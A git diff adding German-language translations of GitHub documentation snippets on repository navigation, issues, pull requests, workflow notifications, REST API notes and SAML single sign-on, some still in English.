+++ b/translations/de-DE/data/reusables/repositories/sidebar-code-scanning-alerts.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: e96b3c58c4a0696af1ec1cd143b19918e90dc585
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145105587"
+---
+1. Klicke auf der linken Randleiste auf **Codeüberprüfungswarnungen**.
+  ![Registerkarte „Codeüberprüfungswarnungen“](/assets/images/help/repository/sidebar-code-scanning-alerts.png)
diff --git a/translations/de-DE/data/reusables/repositories/sidebar-dependabot-alerts.md b/translations/de-DE/data/reusables/repositories/sidebar-dependabot-alerts.md
new file mode 100644
index 0000000000..dcd1e2e131
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/sidebar-dependabot-alerts.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: beac44e31f03ddba24787ae5ab21f9fbccaf2868
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145105584"
+---
+1. Klicke auf der Randleiste „Sicherheit“ auf **{% data variables.product.prodname_dependabot_alerts %}** . Wenn diese Option fehlt, bedeutet das, dass du keinen Zugriff auf die Sicherheitswarnungen hast und dir Zugriff gewährt werden muss. Weitere Informationen findest du unter [Verwalten von Sicherheits- und Analyseeinstellungen für dein Repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts).{% ifversion fpt or ghec %} ![Registerkarte {% data variables.product.prodname_dependabot_alerts %}](/assets/images/help/repository/dependabot-alerts-tab.png){% else %}![Registerkarte {% data variables.product.prodname_dependabot_alerts %}](/assets/images/enterprise/repository/dependabot-alerts-tab.png){% endif %}
diff --git a/translations/de-DE/data/reusables/repositories/sidebar-issue-pr.md b/translations/de-DE/data/reusables/repositories/sidebar-issue-pr.md
new file mode 100644
index 0000000000..d084d8acf9
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/sidebar-issue-pr.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 3b4eaafe31bc0fcefd81db0fc44004718a113b33
+ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879833"
+---
+1. Klicke unter dem Namen deines Repositorys auf {% octicon "issue-opened" aria-label="The issues icon" %} **Issues** oder {% octicon "git-pull-request" aria-label="The pull request icon" %} **Pull Requests**.
+![Auswahl auf den Registerkarten „Issues“ und Pull Requests“](/assets/images/help/repository/repo-settings-issues-pull-requests.png)
diff --git a/translations/de-DE/data/reusables/repositories/sidebar-issues.md b/translations/de-DE/data/reusables/repositories/sidebar-issues.md
new file mode 100644
index 0000000000..5f9a7fb716
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/sidebar-issues.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 12b6cdae81035d2d126aae6a637044a754b57a73
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147067658"
+---
+2. Klicke unter dem Namen deines Repositorys auf {% octicon "issue-opened" aria-label="The issues icon" %} **Issues**.
+   
+   ![Registerkarte „Issues"](/assets/images/help/repository/repo-tabs-issues.png)
diff --git a/translations/de-DE/data/reusables/repositories/sidebar-moderation-reported-content.md b/translations/de-DE/data/reusables/repositories/sidebar-moderation-reported-content.md
new file mode 100644
index 0000000000..442948bb76
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/sidebar-moderation-reported-content.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 484b0f2e7e512bd088f1aeb67cae2beac898690c
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879068"
+---
+1. Wähle auf der Randleiste im Abschnitt „Zugriff“ **{% octicon "comment-discussion" aria-label="The comment-discussion icon" %} Moderationsoptionen** aus und klicke dann auf **Gemeldete Inhalte**.
diff --git a/translations/de-DE/data/reusables/repositories/sidebar-notifications.md b/translations/de-DE/data/reusables/repositories/sidebar-notifications.md
new file mode 100644
index 0000000000..c2070bd5cd
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/sidebar-notifications.md
@@ -0,0 +1,6 @@
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+1. In the "Integrations" section of the sidebar, click **{% octicon "mail" aria-label="The mail icon" %} Email notifications**.
+{% else %}
+1. Click **Notifications**.
+![Notifications button in sidebar](/assets/images/help/settings/notifications_menu.png)
+{% endif %}
diff --git a/translations/de-DE/data/reusables/repositories/sidebar-pr.md b/translations/de-DE/data/reusables/repositories/sidebar-pr.md
new file mode 100644
index 0000000000..d2265d0245
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/sidebar-pr.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 0d8d77d582852abcca246c3d4dcabf7a13db2d6b
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879084"
+---
+1. Klicke unter dem Namen deines Repositorys auf {% octicon "git-pull-request" aria-label="The pull request icon" %} **Pull Requests**.
+    {% ifversion fpt or ghec %} ![Auswählen der Registerkarte für Issues und Pull Requests](/assets/images/help/repository/repo-tabs-pull-requests.png){% elsif ghes or ghae %} ![Auswählen der Registerkarte für Pull Requests](/assets/images/enterprise/3.3/repository/repo-tabs-pull-requests.png){% else %} ![Registerkarte für Issues](/assets/images/enterprise/3.1/help/repository/repo-tabs-pull-requests.png){% endif %}
diff --git a/translations/de-DE/data/reusables/repositories/sidebar-security.md b/translations/de-DE/data/reusables/repositories/sidebar-security.md
new file mode 100644
index 0000000000..2f78ec4e26
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/sidebar-security.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 8a30be469d4a74efc97849e83e825f619c585036
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145085555"
+---
+1. Klicke unter deinem Repositorynamen auf **{% octicon "shield" aria-label="The shield symbol" %}-Sicherheit**.
+![Registerkarte „Sicherheit“](/assets/images/help/repository/security-tab.png)
diff --git a/translations/de-DE/data/reusables/repositories/sidebar-settings.md b/translations/de-DE/data/reusables/repositories/sidebar-settings.md
new file mode 100644
index 0000000000..bd9217501a
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/sidebar-settings.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 907b9c59300457e80e00e9439107a07fe7b32069
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145105555"
+---
+1. Klicke unter dem Repositorynamen auf {% octicon "gear" aria-label="The gear icon" %} **Einstellungen**.
+![Schaltfläche „Repositoryeinstellungen“](/assets/images/help/repository/repo-actions-settings.png)
diff --git a/translations/de-DE/data/reusables/repositories/sidebar-wiki.md b/translations/de-DE/data/reusables/repositories/sidebar-wiki.md
new file mode 100644
index 0000000000..ca3baf4bb6
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/sidebar-wiki.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: db38d0ccc27f36dad87bed0e09e3fa803030c437
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145105552"
+---
+1. Klicke unter dem Namen deines Repositorys auf {% octicon "book" aria-label="Book symbol" %} **Wiki**.
+![Link zum Wiki-Menü](/assets/images/help/wiki/wiki_menu_link.png)
diff --git a/translations/de-DE/data/reusables/repositories/squash-and-rebase-linear-commit-history.md b/translations/de-DE/data/reusables/repositories/squash-and-rebase-linear-commit-history.md
new file mode 100644
index 0000000000..67044be866
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/squash-and-rebase-linear-commit-history.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a92ce8031a51b896af4fe254a2e9165779ea268b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147580773"
+---
+Wenn in deinem Repository eine geschützte Branchregel vorhanden ist, die einen linearen Commitverlauf erfordert, musst Du das Mergen mittels Squash oder Rebase oder beides zulassen. Weitere Informationen findest du unter [Informationen zu geschützten Branches](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging).
diff --git a/translations/de-DE/data/reusables/repositories/start-line-comment.md b/translations/de-DE/data/reusables/repositories/start-line-comment.md
new file mode 100644
index 0000000000..86029146f5
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/start-line-comment.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: fe1a4a45da5ac9ee804205443e5d5eb403dcebc3
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145105547"
+---
+1. Bewege den Mauszeiger über die Codezeile, der du einen Kommentar hinzufügen möchtest, und klicke auf das blaue Kommentarsymbol. Um mehreren Zeilen einen Kommentar hinzuzufügen, wähle durch Klicken und Ziehen den gewünschten Zeilenbereich aus, und klicke dann auf das blaue Kommentarsymbol.
+![Blaues Kommentarsymbol](/assets/images/help/commits/hover-comment-icon.gif)
diff --git a/translations/de-DE/data/reusables/repositories/submit-new-issue.md b/translations/de-DE/data/reusables/repositories/submit-new-issue.md
new file mode 100644
index 0000000000..0fd5264667
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/submit-new-issue.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b610b0cc1e54701a3990035e14d8fcac2153339a
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145105544"
+---
+1. Wenn du fertig bist, klicke auf **Neues Issue übermitteln**.
diff --git a/translations/de-DE/data/reusables/repositories/submit-review.md b/translations/de-DE/data/reusables/repositories/submit-review.md
new file mode 100644
index 0000000000..b601c1b74d
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/submit-review.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d6b3b2baa36e4753b12987ac1ce9ec9f4c0cf7eb
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145105540"
+---
+1. Klicke auf **Review senden**.
diff --git a/translations/de-DE/data/reusables/repositories/suggest-changes.md b/translations/de-DE/data/reusables/repositories/suggest-changes.md
new file mode 100644
index 0000000000..216fdd9ed7
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/suggest-changes.md
@@ -0,0 +1,2 @@
+1. Optionally, to suggest a specific change to the line or lines, click {% octicon "file-diff" aria-label="The file diff icon" %}, then edit the text within the suggestion block.
+![Suggestion block](/assets/images/help/pull_requests/suggestion-block.png)
diff --git a/translations/de-DE/data/reusables/repositories/task-list-markdown.md b/translations/de-DE/data/reusables/repositories/task-list-markdown.md
new file mode 100644
index 0000000000..f1c51edd4f
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/task-list-markdown.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: 12f5510dcd08a964f4b19618afd3607b080632f5
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145105539"
+---
+Um eine Aufgabenliste zu erstellen, stellst du den Listenelementen einen Bindestrich und ein Leerzeichen gefolgt von `[ ]` voran. Um eine Aufgabe als erledigt zu markieren, verwende `[x]`.
+
+```
+- [x] #739
+- [ ] https://github.com/octo-org/octo-repo/issues/740
+- [ ] Add delight to the experience when all tasks are complete :tada:
+```
+
+![Gerenderte Aufgabenliste](/assets/images/help/writing/task-list-rendered-simple.png)
diff --git a/translations/de-DE/data/reusables/repositories/tracks-vulnerabilities.md b/translations/de-DE/data/reusables/repositories/tracks-vulnerabilities.md
new file mode 100644
index 0000000000..d4bed18cc5
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/tracks-vulnerabilities.md
@@ -0,0 +1,20 @@
+---
+ms.openlocfilehash: d077bcd717f353297cf908b1261c821a4e759b78
+ms.sourcegitcommit: f0ae3d979782cb532427c0df026d25bfd0d0db80
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/10/2022
+ms.locfileid: "148160460"
+---
+Wir fügen der {% data variables.product.prodname_advisory_database %} Hinweise aus den folgenden Quellen hinzu:
+- Auf {% data variables.product.prodname_dotcom %} gemeldete Sicherheitshinweise
+- Die [National Vulnerability-Datenbank](https://nvd.nist.gov/)
+- Die [npm-Datenbank für Sicherheitsempfehlungen](https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm)
+- Die [FriendsOfPHP-Datenbank](https://github.com/FriendsOfPHP/security-advisories) 
+- Die [Go Vulncheck-Datenbank](https://pkg.go.dev/golang.org/x/vuln/vulncheck) 
+- Die [Python Packaging Advisory-Datenbank](https://github.com/pypa/advisory-database) 
+- Die [Ruby Advisory-Datenbank](https://rubysec.com/)
+- Die [RustSec Advisory-Datenbank](https://rustsec.org/)
+- Communitybeiträge. Weitere Informationen findest du unter [https://github.com/github/advisory-database/pulls](https://github.com/github/advisory-database/pulls).
+
+Wenn du eine andere Datenbank kennst, aus der wir Empfehlungen importieren sollten, informiere uns darüber, indem du ein Problem in [https://github.com/github/advisory-database](https://github.com/github/advisory-database) öffnest.
diff --git a/translations/de-DE/data/reusables/repositories/transfer-repository-steps.md b/translations/de-DE/data/reusables/repositories/transfer-repository-steps.md
new file mode 100644
index 0000000000..207b0c5994
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/transfer-repository-steps.md
@@ -0,0 +1,22 @@
+---
+ms.openlocfilehash: 9a41cc0562eb6d67140e992eab9669b410f5795d
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145105528"
+---
+{% ifversion fpt or ghec %}
+1. Klicke unter „Gefahrenzone“ auf **Übertragen**.
+ ![Schaltfläche „Übertragen“](/assets/images/help/repository/repo-transfer.png)
+1. Lies die Informationen zum Übertragen eines Repositorys, und gib anschließend den Namen des Benutzers oder der Organisation ein, dessen respektive deren Inhaberschaft Du auf das Repository übertragen möchtest.
+  ![Informationen zur Repositoryübertragung und Feld zur Eingabe des Benutzernamens des neuen Besitzers](/assets/images/help/repository/transfer-repo-new-owner-name.png)
+1. Lies die Warnungen zu potenziellen Feature-Verlusten in Abhängigkeit zum Abonnement des neuen Inhabers.
+  ![Warnungen zur Übertragung eines Repositorys auf eine Person, die ein kostenloses Produkt verwendet](/assets/images/help/repository/repo-transfer-free-plan-warnings.png)
+1. Gib den Namen des Repositorys ein, das du übertragen möchtest, und klicke dann auf **Verstanden, dieses Repository übertragen**.
+ ![Schaltfläche „Übertragen“](/assets/images/help/repository/repo-transfer-complete.png) {% else %}
+1. Klicke auf **Übertragen**.
+ ![Schaltfläche „Übertragen“](/assets/images/help/repository/repo-transfer.png)
+1. Lies die Warnungen und gib den Repository-Namen ein, um zu bestätigen, dass Du die Warnungen gelesen hast.
+1. Gib den Namen des neuen Besitzers ein, und klicke dann auf **Verstanden, dieses Repository übertragen**.
+ ![Schaltfläche „Übertragen“](/assets/images/help/repository/repo-transfer-complete.png) {% endif %}
diff --git a/translations/de-DE/data/reusables/repositories/two-dot-diff-comparison-example-urls.md b/translations/de-DE/data/reusables/repositories/two-dot-diff-comparison-example-urls.md
new file mode 100644
index 0000000000..0946f458a6
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/two-dot-diff-comparison-example-urls.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: bb73534f6072d8af8b4abc8ac49a8027590b05ad
+ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879897"
+---
+Diese URL verwendet beispielsweise die gekürzten siebenstelligen SHA-Codes, um die Commits `c3a414e` und `faf7c6f` zu vergleichen: `https://github.com/github/linguist/compare/c3a414e..faf7c6f`.
diff --git a/translations/de-DE/data/reusables/repositories/type-issue-title-and-description.md b/translations/de-DE/data/reusables/repositories/type-issue-title-and-description.md
new file mode 100644
index 0000000000..1f344c0cb4
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/type-issue-title-and-description.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 5eafda6102f25b9f62bf885564549348e2358bc1
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145105512"
+---
+1. Gib einen Titel und eine Beschreibung für Deinen Issue ein.
+![Ein Beispielissue](/assets/images/help/issues/sample_issue.png)
diff --git a/translations/de-DE/data/reusables/repositories/type-line-comment.md b/translations/de-DE/data/reusables/repositories/type-line-comment.md
new file mode 100644
index 0000000000..438f6b3f5a
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/type-line-comment.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: a8315c1f046ac3a5ba9e4540b6c79320c2e4368c
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145105511"
+---
+1. Gib im Kommentarfeld Deinen Kommentar ein.
+![Kommentarfeld](/assets/images/help/pull_requests/comment-field.png)
diff --git a/translations/de-DE/data/reusables/repositories/valid-community-issues.md b/translations/de-DE/data/reusables/repositories/valid-community-issues.md
new file mode 100644
index 0000000000..0007adc3ef
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/valid-community-issues.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d1aa16e25d5cadef0416873808b4a11bd1dca71c
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145105507"
+---
+Damit Issuevorlagen in die Checkliste des Community-Profils aufgenommen werden, müssen sie sich im Ordner `.github/ISSUE_TEMPLATE` befinden und ein gültiges YAML-Front-Matter vom Typ `name:` und `about:` enthalten.
diff --git a/translations/de-DE/data/reusables/repositories/view-failed-job-results.md b/translations/de-DE/data/reusables/repositories/view-failed-job-results.md
new file mode 100644
index 0000000000..7a00e0c9a8
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/view-failed-job-results.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: c9f0d22a641d72b392b2b1fa719fe6df1609d044
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145105504"
+---
+1. Alle fehlerhaften Schritte werden automatisch erweitert, um die Ergebnisse anzuzeigen.
+
+   ![Ergebnisse des Super-Linter-Workflows](/assets/images/help/repository/super-linter-workflow-results-updated-2.png)
diff --git a/translations/de-DE/data/reusables/repositories/view-run.md b/translations/de-DE/data/reusables/repositories/view-run.md
new file mode 100644
index 0000000000..b152f16985
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/view-run.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 6e76cb8f214ced1ff417a433dc512cf6e4e36c24
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145132969"
+---
+1. Klicke in der Liste der Workflowausführungen auf den Namen der Ausführung, um die Zusammenfassung der Workflowausführung anzuzeigen.
+
+   ![Name der Workflow-Ausführung](/assets/images/help/repository/run-name.png)
diff --git a/translations/de-DE/data/reusables/repositories/view-specific-line.md b/translations/de-DE/data/reusables/repositories/view-specific-line.md
new file mode 100644
index 0000000000..79def2ea26
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/view-specific-line.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 9266dfe05db57e1dd889c169b77ec30cb67bb04f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145105503"
+---
+1. Klicke bei Bedarf auf die Zeilennummer des Schritts, um einen Link zu einer bestimmten Zeile in den Logs zu erhalten. Den Link kannst du anschließend aus der Adressleiste deines Webbrowsers kopieren.
+
+   ![Schaltfläche zum Kopieren des Links](/assets/images/help/repository/copy-link-button-updated-2.png)
diff --git a/translations/de-DE/data/reusables/repositories/workflow-notifications.md b/translations/de-DE/data/reusables/repositories/workflow-notifications.md
new file mode 100644
index 0000000000..275dfcc853
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/workflow-notifications.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 307a695e8a973c7b37a29ebbeb4606a8ed43d38d
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145105500"
+---
+Wenn Du E-Mail- oder Webbenachrichtigungen für {% data variables.product.prodname_actions %} aktivierst, erhältst Du eine Benachrichtigung, wenn ein von Dir ausgelöster Workflow abgeschlossen ist. Die Benachrichtigung enthält den Status der Workflow-Ausführung (einschließlich erfolgreicher, fehlgeschlagener, neutraler und abgebrochener Ausführungen). Du kannst auch auswählen, ob Du nur dann eine Benachrichtigung erhalten möchtest, wenn eine Workflow-Ausführung fehlgeschlagen ist. Weitere Informationen zum Aktivieren und Deaktivieren von Benachrichtigungen findest du unter [Informationen zu Benachrichtigungen](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications).
+
+Benachrichtigungen für geplante Workflows werden an den Benutzer gesendet, der den Workflow ursprünglich erstellt hat. Wenn ein anderer Benutzer die Cron-Syntax in der Workflowdatei aktualisiert, werden nachfolgende Benachrichtigungen stattdessen an diesen Benutzer gesendet.{% ifversion fpt or ghes or ghec %} Wenn ein geplanter Workflow deaktiviert und dann reaktiviert wird, werden die Benachrichtigungen an den Benutzer gesendet, der den Workflow reaktiviert hat, und nicht an den Benutzer, der die Cron-Syntax zuletzt geändert hat.{% endif %}
+
+Du kannst außerdem auf der Registerkarte „Aktionen“ eines Repositorys den Status von Workflowausführungen anzeigen. Weitere Informationen findest du unter [Verwalten einer Workflowausführung](/actions/automating-your-workflow-with-github-actions/managing-a-workflow-run).
diff --git a/translations/de-DE/data/reusables/repositories/you-can-fork.md b/translations/de-DE/data/reusables/repositories/you-can-fork.md
new file mode 100644
index 0000000000..a38402202e
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/you-can-fork.md
@@ -0,0 +1,9 @@
+{% ifversion ghae %}
+If the policies for your enterprise permit forking private and internal repositories, you can fork a repository to your personal account or an organization where you have repository creation permissions. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)."
+
+{% elsif ghes or ghec %}
+You can fork a private or internal repository to your personal account or an organization on {% data variables.location.product_location %} where you have repository creation permissions, if settings for the repository and your enterprise policies allow forking.
+
+{% elsif fpt %}
+If you have access to a private repository and the owner permits forking, you can fork the repository to your personal account, or an organization on {% data variables.product.prodname_team %} where you have repository creation permissions. You cannot fork a private repository to an organization using {% data variables.product.prodname_free_team %}. For more information, see "[GitHub's products](/articles/githubs-products)."
+{% endif %}
diff --git a/translations/de-DE/data/reusables/rest-api/always-check-your-limit.md b/translations/de-DE/data/reusables/rest-api/always-check-your-limit.md
new file mode 100644
index 0000000000..b02a8aef2e
--- /dev/null
+++ b/translations/de-DE/data/reusables/rest-api/always-check-your-limit.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: e6e876fdcf50cd60a817234e8128222198494b31
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145105496"
+---
+{% note %}
+
+**Hinweis**: Du kannst deinen aktuellen Ratenlimitstatus jederzeit bestätigen. Weitere Informationen findest du unter [Überprüfen des Ratenlimitstatus](/rest/overview/resources-in-the-rest-api#checking-your-rate-limit-status).
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/rest-api/dotcom-only-guide-note.md b/translations/de-DE/data/reusables/rest-api/dotcom-only-guide-note.md
new file mode 100644
index 0000000000..86e1a648f1
--- /dev/null
+++ b/translations/de-DE/data/reusables/rest-api/dotcom-only-guide-note.md
@@ -0,0 +1,13 @@
+{% ifversion not fpt or ghec %}
+
+{% note %}
+
+**Note**: The following guide uses the REST API for {% data variables.product.prodname_dotcom_the_website %}.
+
+- Use <code>{% data variables.product.api_url_pre %}</code> to access the API for {% data variables.product.product_name %}. 
+
+- The guide specifies usernames and repositories that may not exist on {% data variables.location.product_location %}. You may need to use different names to see similar output.
+
+{% endnote %}
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/saml/about-authorized-credentials.md b/translations/de-DE/data/reusables/saml/about-authorized-credentials.md
new file mode 100644
index 0000000000..87664ef3bc
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/about-authorized-credentials.md
@@ -0,0 +1 @@
+You can see each {% data variables.product.pat_generic %} and SSH key that a member has authorized for API and Git access. Only the last several characters of each token or key are visible. If necessary, work with the member to determine which credentials you should revoke.
diff --git a/translations/de-DE/data/reusables/saml/about-linked-identities.md b/translations/de-DE/data/reusables/saml/about-linked-identities.md
new file mode 100644
index 0000000000..e1a8512bad
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/about-linked-identities.md
@@ -0,0 +1,3 @@
+You can view the single sign-on identity that a member has linked to their account on {% data variables.location.product_location %}.
+
+If a member links the wrong identity to their account on {% data variables.location.product_location %}, you can revoke the linked identity to allow the member to try again.
diff --git a/translations/de-DE/data/reusables/saml/about-saml-access-enterprise-account.md b/translations/de-DE/data/reusables/saml/about-saml-access-enterprise-account.md
new file mode 100644
index 0000000000..08cacea2fa
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/about-saml-access-enterprise-account.md
@@ -0,0 +1 @@
+To access each organization's resources on {% data variables.product.product_name %}, the member must have an active SAML session in their browser. To access each organization's protected resources using the API and Git, the member must use a {% data variables.product.pat_generic %} or SSH key that the member has authorized for use with the organization. Enterprise owners can view and revoke a member's linked identity, active sessions, or authorized credentials at any time.
diff --git a/translations/de-DE/data/reusables/saml/about-saml-enterprise-accounts.md b/translations/de-DE/data/reusables/saml/about-saml-enterprise-accounts.md
new file mode 100644
index 0000000000..c0eedeabff
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/about-saml-enterprise-accounts.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b077c3ba5095a3eecf5697d7914527a508fb121f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145105475"
+---
+Enterprise-Inhaber können SAML SSO und zentralisierte Authentifizierung über einen SAML IdP in allen Organisationen eines Enterprise-Kontos ermöglichen. Nachdem du SAML SSO für dein Unternehmenskonto aktiviert hast, wird SAML SSO für alle Organisationen erzwungen, die zu deinem Unternehmenskonto gehören. Alle Mitglieder müssen sich über SAML SSO authentifizieren, um auf die Organisationen zuzugreifen, bei denen sie Mitglied sind. Enterprise-Inhaber müssen sich über SAML SSO authentifizieren, wenn sie auf ein Enterprise-Konto zugreifen.
diff --git a/translations/de-DE/data/reusables/saml/about-user-provisioning-enterprise-account.md b/translations/de-DE/data/reusables/saml/about-user-provisioning-enterprise-account.md
new file mode 100644
index 0000000000..77f958809f
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/about-user-provisioning-enterprise-account.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 2c5eda60cc47d3956c814e403137124e3272c5cb
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145132950"
+---
